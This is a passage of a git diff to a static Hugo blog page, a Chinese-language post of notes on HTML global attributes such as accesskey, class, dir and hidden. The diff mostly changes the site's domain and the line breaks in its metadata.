         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/22/index.html b/posts/22/index.html
index f769ca13..7aa58c83 100644
--- a/posts/22/index.html
+++ b/posts/22/index.html
@@ -1,110 +1,110 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>HTML全局属性笔记 | 小陈的个人博客</title><meta name=keywords content="html"><meta name=description content="属性
 accesskey
 定义快捷键获取焦点，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a>
按ait+q，就会跳到指定的网页上
+<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-<div class = &#34;a1 a2 a3&#34;></div>
id
+<div class = &#34;a1 a2 a3&#34;></div> id
 定义一个id，id为唯一性，不能重复，例如
-<div id = &#34;a1&#34;></div>
lang
+<div id = &#34;a1&#34;></div> lang
 定义网页或者元素的语言，例如
-<div lang = &#34;fr&#34;></div>
style
+<div lang = &#34;fr&#34;></div> style
 定义元素的行内样式，例如
-<div style=&#34;color : #fff&#34;>hi</div>
tabindex
+<div style=&#34;color : #fff&#34;>hi</div> tabindex
 指定tab键的焦点控制，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a>
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-<div contenteditable=&#34;true&#34;>hi</div>
dir
+<div contenteditable=&#34;true&#34;>hi</div> dir
 指定元素内文本的方向，例如
-<div dir = &#34;rtl&#34;>hi</div>
ltr默认值，从左到右
+<div dir = &#34;rtl&#34;>hi</div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-<div title = &#34;hi&#34;>hi</div>
data-xxx
+<div title = &#34;hi&#34;>hi</div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-<div draggable = &#34;true&#34;>hi</div>
hidden
+<div draggable = &#34;true&#34;>hi</div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-<div hidden = &#34;hidden&#34;>hi</div>
contextmenu"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/22/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="HTML全局属性笔记"><meta property="og:description" content="属性
+<div hidden = &#34;hidden&#34;>hi</div> contextmenu"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/22/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="HTML全局属性笔记"><meta property="og:description" content="属性
 accesskey
 定义快捷键获取焦点，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a>
按ait+q，就会跳到指定的网页上
+<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-<div class = &#34;a1 a2 a3&#34;></div>
id
+<div class = &#34;a1 a2 a3&#34;></div> id
 定义一个id，id为唯一性，不能重复，例如
-<div id = &#34;a1&#34;></div>
lang
+<div id = &#34;a1&#34;></div> lang
 定义网页或者元素的语言，例如
-<div lang = &#34;fr&#34;></div>
style
+<div lang = &#34;fr&#34;></div> style
 定义元素的行内样式，例如
-<div style=&#34;color : #fff&#34;>hi</div>
tabindex
+<div style=&#34;color : #fff&#34;>hi</div> tabindex
 指定tab键的焦点控制，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a>
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-<div contenteditable=&#34;true&#34;>hi</div>
dir
+<div contenteditable=&#34;true&#34;>hi</div> dir
 指定元素内文本的方向，例如
-<div dir = &#34;rtl&#34;>hi</div>
ltr默认值，从左到右
+<div dir = &#34;rtl&#34;>hi</div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-<div title = &#34;hi&#34;>hi</div>
data-xxx
+<div title = &#34;hi&#34;>hi</div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-<div draggable = &#34;true&#34;>hi</div>
hidden
+<div draggable = &#34;true&#34;>hi</div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-<div hidden = &#34;hidden&#34;>hi</div>
contextmenu"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/22/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:38:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:38:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="HTML全局属性笔记"><meta name=twitter:description content="属性
+<div hidden = &#34;hidden&#34;>hi</div> contextmenu"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/22/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:38:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:38:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="HTML全局属性笔记"><meta name=twitter:description content="属性
 accesskey
 定义快捷键获取焦点，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a>
按ait+q，就会跳到指定的网页上
+<a href=&#34;https://xiaochenabc123.test.com&#34; accesskey=&#34;q&#34;>GO\</a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-<div class = &#34;a1 a2 a3&#34;></div>
id
+<div class = &#34;a1 a2 a3&#34;></div> id
 定义一个id，id为唯一性，不能重复，例如
-<div id = &#34;a1&#34;></div>
lang
+<div id = &#34;a1&#34;></div> lang
 定义网页或者元素的语言，例如
-<div lang = &#34;fr&#34;></div>
style
+<div lang = &#34;fr&#34;></div> style
 定义元素的行内样式，例如
-<div style=&#34;color : #fff&#34;>hi</div>
tabindex
+<div style=&#34;color : #fff&#34;>hi</div> tabindex
 指定tab键的焦点控制，例如
-<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a>
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+<a href=&#34;https://xiaochenabc123.test.com&#34; tabindex=&#34;1&#34;>GO</a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-<div contenteditable=&#34;true&#34;>hi</div>
dir
+<div contenteditable=&#34;true&#34;>hi</div> dir
 指定元素内文本的方向，例如
-<div dir = &#34;rtl&#34;>hi</div>
ltr默认值，从左到右
+<div dir = &#34;rtl&#34;>hi</div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-<div title = &#34;hi&#34;>hi</div>
data-xxx
+<div title = &#34;hi&#34;>hi</div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-<div draggable = &#34;true&#34;>hi</div>
hidden
+<div draggable = &#34;true&#34;>hi</div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-<div hidden = &#34;hidden&#34;>hi</div>
contextmenu"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"HTML全局属性笔记","item":"https://xiaochenabc123.github.io/posts/22/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"HTML全局属性笔记","name":"HTML全局属性笔记","description":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt;\r按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rid\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rlang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\rstyle\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rtabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt;\r使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rdata-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rhidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = \u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rcontextmenu","keywords":["html"],"articleBody":"属性\naccesskey\n定义快捷键获取焦点，例如\nGO\\\r按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\nid\n定义一个id，id为唯一性，不能重复，例如\nlang\n定义网页或者元素的语言，例如\nstyle\n定义元素的行内样式，例如\nhi\rtabindex\n指定tab键的焦点控制，例如\nGO\r使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\nhi\rdir\n指定元素内文本的方向，例如\nhi\rltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\nhi\rdata-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\nhi\rhidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\nhi\rcontextmenu\n指定div元素的菜单，目前只有 Firefox 浏览器支持\ndropzone\n指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持\nspellcheck\n指定元素是否进行拼写检查，有两个可选值，true/false\n可以对类型为text的非密码的input元素的值，textarea 元素中的值，可编辑元素中的值\ntranslate\n指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持\n","wordCount":"85","inLanguage":"en","datePublished":"2021-06-16T09:38:00Z","dateModified":"2021-06-16T09:38:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/22/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>HTML全局属性笔记</h1><div class=post-meta><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/HTML%e5%85%a8%e5%b1%80%e5%b1%9e%e6%80%a7%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>属性</p><p>accesskey</p><p>定义快捷键获取焦点，例如</p><pre><code>&lt;a href=&quot;https://xiaochenabc123.test.com&quot; accesskey=&quot;q&quot;&gt;GO\&lt;/a&gt;
-</code></pre><p>按ait+q，就会跳到指定的网页上</p><hr><p>class</p><p>定义元素的类，开头必须是字母，多个类使用空格隔开，例如</p><pre><code>&lt;div class = &quot;a1 a2 a3&quot;&gt;&lt;/div&gt;
-</code></pre><hr><p>id</p><p>定义一个id，id为唯一性，不能重复，例如</p><pre><code>&lt;div id = &quot;a1&quot;&gt;&lt;/div&gt;
-</code></pre><hr><p>lang</p><p>定义网页或者元素的语言，例如</p><pre><code>&lt;div lang = &quot;fr&quot;&gt;&lt;/div&gt;
-</code></pre><hr><p>style</p><p>定义元素的行内样式，例如</p><pre><code>&lt;div style=&quot;color : #fff&quot;&gt;hi&lt;/div&gt;
-</code></pre><hr><p>tabindex</p><p>指定tab键的焦点控制，例如</p><pre><code>&lt;a href=&quot;https://xiaochenabc123.test.com&quot; tabindex=&quot;1&quot;&gt;GO&lt;/a&gt;
-</code></pre><p>使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）</p><hr><p>contenteditable</p><p>指定元素是否为可以编辑的，例如</p><pre><code>&lt;div contenteditable=&quot;true&quot;&gt;hi&lt;/div&gt;
-</code></pre><hr><p>dir</p><p>指定元素内文本的方向，例如</p><pre><code>&lt;div dir = &quot;rtl&quot;&gt;hi&lt;/div&gt;
-</code></pre><p>ltr默认值，从左到右</p><p>rtl，从右到左</p><hr><p>title</p><p>指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如</p><pre><code>&lt;div title = &quot;hi&quot;&gt;hi&lt;/div&gt;
-</code></pre><hr><p>data-xxx</p><p>用于存储一些自定义属性，data-后面必须有一个字符，不包括大写</p><p>JavaScript可以通过getAttribute获取到</p><hr><p>draggable</p><p>指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动</p><p>有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如</p><pre><code>&lt;div draggable = &quot;true&quot;&gt;hi&lt;/div&gt;
-</code></pre><hr><p>hidden</p><p>指定元素是否隐藏，有两个可选值，hidden/true，例如</p><pre><code>&lt;div hidden = &quot;hidden&quot;&gt;hi&lt;/div&gt;
-</code></pre><hr><p>contextmenu</p><p>指定div元素的菜单，目前只有 Firefox 浏览器支持</p><hr><p>dropzone</p><p>指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持</p><hr><p>spellcheck</p><p>指定元素是否进行拼写检查，有两个可选值，true/false</p><p>可以对类型为text的非密码的input元素的值，textarea 元素中的值，可编辑元素中的值</p><hr><p>translate</p><p>指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/html/>html</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/23/><span class=title>« Prev</span><br><span>vuejs基础学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/21/><span class=title>Next »</span><br><span>jQuery基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<div hidden = &#34;hidden&#34;>hi</div> contextmenu"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"HTML全局属性笔记","item":"https://chenjunlinabc.github.io/posts/22/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"HTML全局属性笔记","name":"HTML全局属性笔记","description":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt; 按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; id\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; lang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; style\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; tabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; dir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; ltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; data-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; hidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = \u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; contextmenu","keywords":["html"],"articleBody":"属性\naccesskey\n定义快捷键获取焦点，例如\nGO\\ 按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\nid\n定义一个id，id为唯一性，不能重复，例如\nlang\n定义网页或者元素的语言，例如\nstyle\n定义元素的行内样式，例如\nhi tabindex\n指定tab键的焦点控制，例如\nGO 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\nhi dir\n指定元素内文本的方向，例如\nhi ltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\nhi data-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\nhi hidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\nhi contextmenu\n指定div元素的菜单，目前只有 Firefox 浏览器支持\ndropzone\n指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持\nspellcheck\n指定元素是否进行拼写检查，有两个可选值，true/false\n可以对类型为text的非密码的input元素的值，textarea 